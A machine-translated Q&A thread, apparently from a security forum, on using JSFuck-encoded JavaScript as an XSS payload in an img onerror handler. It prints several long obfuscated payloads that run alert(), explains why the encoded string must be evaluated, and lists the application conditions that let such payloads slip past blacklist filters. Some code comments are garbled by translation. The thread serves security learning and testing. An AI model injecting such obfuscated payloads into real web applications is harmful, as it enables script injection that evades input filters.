使用 JSF**k 的 XSS

信息安全 xss javascript
2021-08-14 12:12:41

我正在阅读有关JSf**k的信息。从他们的网站:

JSF**k 是一种基于 JavaScript 原子部分的深奥且具有教育意义的编程风格。它只使用六个不同的字符来编写和执行代码。

我的问题是:我们究竟什么时候可以使用这样的有效载荷来利用 XSS 漏洞?我尝试了以下简单的 HTML 代码来测试它:

<html>
<img src=1 onerror="(![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+(![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]+[+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[!+[]+!+[]+[+[]]]" >
</html>

我刚刚用alert(1)相应的纯文本 JSF**k 代码替换了 。但是,浏览器似乎没有呈现有效负载。当我在 Chrome 的控制台中键入有效负载时,它会呈现为字符串“alert(1)”,但在上面的 HTML 代码中不起作用。我想这与浏览器如何呈现这些有效负载有关(我不完全了解浏览器究竟如何/何时呈现各种类型的有效负载)。

我想了解在测试 Web 应用程序时此类有效负载可能有用的场景。


更新:如答案中所述,该方法在使用 eval 源而不是普通的 alert(1) 字符串时有效。我的问题是,为什么我需要评估源?AFAIK,浏览器应该执行作为 JavaScript 传递给 onerror 属性的字符串。

4个回答

这对我有用:

<html>
<img src=1 onerror="[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]][(+(+!![]+[+([][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[+[]]])+[!![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+!![]+[+[]]]+(!!(+([][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[+[]]+!![])+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+!![]+[+!![]]]+([][[]]+[])[+!![]]+(![]+[])[!![]+!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[+!![]]+([][[]]+[])[+[]]+(+(+!![]+[+([][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[+[]]])+[!![]]+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+!![]+[+[]]]+(!![]+[])[+[]]+(!!(+([][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[+[]]+!![])+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[+!![]+[+!![]]]+(!![]+[])[+!![]]]((![]+[])[+!![]]+(![]+[])[!![]+!![]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]+(!![]+[])[+[]]+(!!(+([][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[+[]]+!![])+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[!![]+!![]+[+[]]]+(+!![])+(!!(+([][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]]+[])[+[]]+!![])+[][(![]+[])[+[]]+([![]]+[][[]])[+!![]+[+[]]]+(![]+[])[!![]+!![]]+(!![]+[])[+[]]+(!![]+[])[!![]+!![]+!![]]+(!![]+[])[+!![]]])[!![]+!![]+[+!![]]])()" >
<html>

见小提琴http://jsfiddle.net/34jz07ae/

直接取自http://jscrew.it/

如果您选择正确的参数,JSF*** 代码至少在 Chrome 中也应该可以工作。请注意,您需要使用 Eval Source 生成可执行代码,而不仅仅是字符串。

正如@schroeder 在其中一条评论中指出的那样,一个明显的场景是服务器检查字符串中是否有列入黑名单的字符串,例如alert(1). 除此之外,为了使有效载荷工作,应用程序必须满足以下条件:

  • 输入长度应该没有限制(如您所见,有效负载可以是巨大的长度)。
  • 应用程序不得对以下任何字符进行 JavaScript 编码:! ( ) + [ ]
  • 必须评估有效负载(除非用户输入直接输入到eval()函数中)。你需要这个的原因是因为这些深奥的子集的工作方式。

那么 JSF**k 是如何以及为什么起作用的呢?完整的概念已在此页面上进行了精彩的解释:

它之所以有效,是因为每个 JavaScript 程序都可以写成一个被求值的字符串例如,这个普通的 JavaScript 代码:

alert("Hello, world!")

可以写成

Function('alert("Hello, world!")')

因此,基本上,JSF##k 允许您将任何 JavaScript 代码编写为string,需要对其执行进行评估对于在问题中提到的例子中,浏览器对待alert(1)onerror事件处理程序作为一个有效的JavaScript功能,但是,它的JSF ##ķ当量将是一个字符串,然后需要进行评估

这对我来说是正确的(评论表明我们正在逐行生成):

<img src="x" onerror="([] [( // [].
 ({}+[]) [!+[]+!+[]+!+[]+!+[]+!+[]] + // 'c'
 ({}+[]) [+!+[]] + // 'o'
 ([]['']+[]) [+!+[]] + // 'n'
 ([![]]+[]) [!+[]+!+[]+!+[]] + // 's'
 ([!![]]+[]) [+[]] + // 't'
 ([!![]]+[]) [+!+[]] + // 'r'
 ([!![]]+[]) [!+[]+!+[]] + // '你'
 ({}+[]) [!+[]+!+[]+!+[]+!+[]+!+[]] + // 'c'
 ([!![]]+[]) [+[]] + // 't'
 ({}+[]) [+!+[]] + // 'o'
 ([!![]]+[]) [+!+[]] // 'r'
 )]
[ // .
 ({}+[]) [!+[]+!+[]+!+[]+!+[]+!+[]] + // 'c'
 ({}+[]) [+!+[]] + // 'o'
 ([]['']+[]) [+!+[]] + // 'n'
 ([![]]+[]) [!+[]+!+[]+!+[]] + // 's'
 ([!![]]+[]) [+[]] + // 't'
 ([!![]]+[]) [+!+[]] + // 'r'
 ([!![]]+[]) [!+[]+!+[]] + // '你'
 ({}+[]) [!+[]+!+[]+!+[]+!+[]+!+[]] + // 'c'
 ([!![]]+[]) [+[]] + // 't'
 ({}+[]) [+!+[]] + // 'o'
 ([!![]]+[]) [+!+[]] // 'r'
]) (

    ([![]]+[]) [+!+[]]+ // false[1] = a
    ([![]]+[]) [!+[]+!+[]]+ // 假[2] = l
    ([![]]+[]) [!+[]+!+[]+!+[]+!+[]]+ // false[4] = e
    ([!![]]+[]) [++[ [] ] [+[]]]+ // true[1] = r
    ([!![]]+[]) [[]*[]] + // 真[0] = t

                                          // (
    ([] [([![]]+[])[++[++[!![]][+[]]][+[]]] + ({}+[])[+!+ []] + 
    ([!![]]+[]) [+!+[]] + 
    ([!![]]+[])[+[]]]+[]) 
    [!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[] +!+[]+!+[]+!+[]] +
                                          // 0
    [] * [] +
                                          // )
    ([] [([![]]+[])[++[++[!![]][+[]]][+[]]] + ({}+[])[+!+ []] + 
    ([!![]]+[]) [+!+[]] + 
    ([!![]]+[])[+[]]]+[]) 
    [!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[]+!+[] +!+[]+!+[]+!+[]+!+[]]
)(); // (\"alert(0)\")();">

如果您需要有关语法的更多参考,我写了一篇关于这些类型的 XSS(字母数字 javascript 编码)的文章,可以帮助您:http ://deftcode.ninja/post/non-alphanumeric-javascript-coding/

更新答案:

您需要 eval 将您编码的 javascript 转换为字符串,否则浏览器无法将其视为指令。

当您查看http://www.jsfuck.com/上使用的代码时,“运行函数”无论如何都要使用 eval

$("run").onclick = function(){
  value = eval($("output").value);

  if (!$("eval").checked){
    alert('"' + value + '"');
  }
  return false;
};

其他有趣的链接:

解码 JSFuck